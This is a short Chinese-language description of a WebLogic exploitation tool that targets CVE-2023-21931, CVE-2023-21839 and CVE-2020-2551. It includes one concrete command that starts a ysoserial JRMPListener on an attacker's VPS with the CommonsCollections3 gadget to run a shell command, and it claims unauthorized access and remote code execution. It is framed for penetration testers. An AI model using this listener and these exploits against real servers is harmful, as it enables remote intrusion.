最新版本的WebLogic漏洞利用工具针对多个关键漏洞进行了全面支持,其中包括CVE-2023-21931(JNDI)、CVE-2023-21839(JNDI)、CVE-2020-2551(JRMP)等漏洞。该工具在利用JRMP类型的漏洞时,要求用户在VPS上使用yso启动JRMP,并将VPS的JRMP地址填入工具中。执行攻击的命令示例为:java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections3 'touch /tmp/1.txt'。工具运行要求使用JDK 8,并能够实现未授权访问、远程代码执行等多种攻击。渗透测试人员和安全评估专业人员可根据需要选择合适的漏洞进行利用,提升对WebLogic系统的安全评估效果。